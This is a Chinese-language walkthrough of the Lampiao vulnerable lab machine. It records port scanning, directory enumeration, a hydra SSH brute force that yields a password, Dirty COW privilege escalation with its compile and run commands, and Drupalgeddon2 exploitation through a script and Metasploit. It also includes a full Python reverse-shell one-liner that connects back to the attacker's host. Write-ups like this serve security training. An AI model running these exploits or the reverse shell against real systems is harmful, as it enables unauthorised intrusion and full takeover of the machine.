【原创】项目二Lampiao
实战流程
1，nmap扫描C段
┌──(root㉿heiyu)-[/home/whoami]
└─# nmap -sP 192.168.186.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-24 03:34 EDT
Nmap scan report for 192.168.186.139 (192.168.186.139)
Host is up (0.00031s latency).
2，找到靶机，进行进一步扫描，发现目标计算机上有三个可用的开放端口22、80、1898端口
┌──(root㉿heiyu)-[/home/whoami]
└─# nmap -p- 192.168.186.139
3，信息枚举：http://10.211.55.9:1898/ -> Read more 发现改页面信息：
http://10.211.55.9:1898/?q=node/2
页面发现：
audio.m4a：语音获得用户名：tiago
qrc.png：图片二维码扫描获得信息，需要爆破
4,爆破网站目录
┌──(root㉿heiyu)-[/home/whoami]
└─# dirb http://192.168.186.139:1898
获得url：http://10.211.55.9:1898/robots.txt
继续枚举获得：http://10.211.55.9:1898/CHANGELOG.txt
发现是：Drupal 7.54, 2017-02-01
4、获取密码字典：cewl：通过爬行网站获取关键信息创建一个密码字典
cewl http://192.168.186.139:1898/?q=node/1 -w heiyu.txt
5、hydra爆破
hydra -l tiago -P heiyu.txt 192.168.186.139 ssh
先利用cewl来生成一份结合网站目标的社工性质的密码字典、不理解的可以搜索网上搜索cewl学习，然后九头蛇暴力破解得到用户密码:
[22][ssh] host: 10.211.55.9 login: tiago password: Virgulino
用户: tiago
密码: Virgulino
6、登录ssh
ssh tiago@192.168.186.139
发现是低权限用户！需要提权！
版本信息如下
7、提权
https://github.com/mzet-/linux-exploit-suggester
下载提权文件
proxychains wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
开启web服务
在目标服务器上下载les.sh文静
wget http://192.168.186.130:8081/les.sh
追加执行权限
chmod +x les.sh
执行文件后会列出可以用于该linux服务器上提权的方法
./les.sh
使用其中的脏牛提权
搜索kali自带的exploit
谷歌搜索40847的具体用法
https://www.exploit-db.com/exploits/40847
// EDB-Note: Compile: g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run: ./dcow -s
把40847.cpp文件复制到poc中（因为这个文件夹开了网络服务）
┌──(root㉿heiyu)-[/home/whoami]
└─# cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/whoami/poc
目标机器下载40847.cpp
wget http://192.168.186.130:8081/40847.cpp
执行cpp文件，生成可执行文件heiyu
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o heiyu 40847.cpp -lutil
-Wall 一般使用该选项，允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别，-O0表示没有优化,-O1为缺省值，-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时，需要链接pthread库
-o dcow gcc生成的目标文件,名字为dcow
执行gcc编译可执行文件，可直接提权。
执行heiyu
./heiyu
获得root的密码
Root password is: dirtyCowFun
重新链接ssh
┌──(root㉿heiyu)-[/home/whoami/poc]
└─# ssh root@192.168.186.139
root登录成功
获取flag成功
root@lampiao:~# cat flag.txt
9740616875908d91ddcdaa8aea3af366
思路拓展1--Xray一条龙
1、通过AWVS+xray跑出了poc：poc-yaml-drupal-cve-2018-7600-rce
那么Xray是给出了两篇poc的文章：
https://github.com/dreadlocked/Drupalgeddon2
https://paper.seebug.org/567/
通过文章查看，Drupalgeddon2有poc都是rb运行文件，下载！
proxychains git clone https://github.com/dreadlocked/Drupalgeddon2.git
安装模块，用来排错
sudo gem install highline
安装完highline后即可执行
./drupalgeddon2.rb http://192.168.186.139:1898/
脚本很强大，通过服务器7.54版本的漏洞，直接在网站的根目录写了个shell
此时已经获取的这个shell，正向shell
由于该shell不能执行g++，并且实战中有防火墙的原因，正向shell一般不稳定，因此尝试通过反弹shell获取链接
本机开启6666端口
目标机开启反弹shell脚本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.130",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
获取反弹shell
补齐shell弹框
python -c 'import pty; pty.spawn("/bin/bash")'
下载提权文件
wget http://192.168.186.130:8081/40847.cpp
编译提权文件
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
执行提权可执行文件
./40847
拓展思路2-Metasplit
谷歌搜索：Drupal 7.54 exploit
# [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
msfconsole
使用exploit/unix/webapp/drupal_drupalgeddon2
显示条件信息
show options
set RHOSTS 192.168.186.139
set RPORT 1898
run
此时获取了了伪shell
进行shell的补齐
meterpreter > shell
python -c 'import pty; pty.spawn("/bin/bash")'
此时获取稳定shell
提权
上传提权文件，后面跟之前的方式一样
meterpreter > upload /home/whoami/poc/les.sh /tmp/
脑图
